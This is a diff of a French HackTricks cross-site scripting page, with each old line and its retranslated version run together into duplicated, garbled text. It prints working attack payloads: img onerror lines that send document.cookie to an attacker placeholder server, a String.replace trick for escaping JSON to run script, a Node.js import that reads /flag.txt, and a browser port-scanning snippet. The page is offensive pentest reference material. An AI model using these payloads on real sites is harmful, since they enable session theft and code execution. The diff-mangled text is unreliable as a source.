Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", <entrée_utilisateur>)`** est utilisé. L'attaquant pourrait utiliser [**des remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))`` Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", <entrée_utilisateur>)`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaîne spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))``
Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire. Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
@ -970,7 +992,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
``` ```
* Accès indirect à `require` * Accès indirect à `require`
[Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci : [Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) les modules sont enveloppés par Node.js dans une fonction, comme ceci:
```javascript ```javascript
(function (exports, require, module, __filename, __dirname) { (function (exports, require, module, __filename, __dirname) {
// our actual module code // our actual module code
@ -1072,7 +1094,7 @@ Faire utiliser l'utilisateur sur la page sans sortir d'un iframe et voler ses ac
[iframe-traps.md](../iframe-traps.md) [iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %} {% endcontent-ref %}
### Récupérer les Cookies ### Récupérer les cookies
```javascript ```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie> <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie"> <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1176,7 +1198,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
}; };
} }
``` ```
_Les temps courts indiquent un port répondant_ _Les temps plus longs indiquent l'absence de réponse._ _Les courts délais indiquent un port répondant_ _Les délais plus longs indiquent l'absence de réponse._
Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1235,7 +1257,7 @@ document.getElementById("message").src += "&"+e.data;
[abusing-service-workers.md](abusing-service-workers.md) [abusing-service-workers.md](abusing-service-workers.md)
{% endcontent-ref %} {% endcontent-ref %}
### Accès à l'Ombre du DOM ### Accès au DOM de l'Ombre
{% content-ref url="shadow-dom.md" %} {% content-ref url="shadow-dom.md" %}
[shadow-dom.md](shadow-dom.md) [shadow-dom.md](shadow-dom.md)
@ -1346,7 +1368,7 @@ Si vous ne pouvez pas injecter de balises HTML, il pourrait être utile d'essaye
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [composants AMP](https://amp.dev/documentation/components/?format=websites). AMP, visant à accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [composants AMP](https://amp.dev/documentation/components/?format=websites).
Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails. Le format [**AMP pour Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir directement avec le contenu dans leurs e-mails.
Exemple de [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). Exemple de [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1426,7 +1448,7 @@ Trouvez **plus de charges utiles SVG dans** [**https://github.com/allanlw/svg-ch
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -1436,7 +1458,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi
Autres façons de soutenir HackTricks : Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**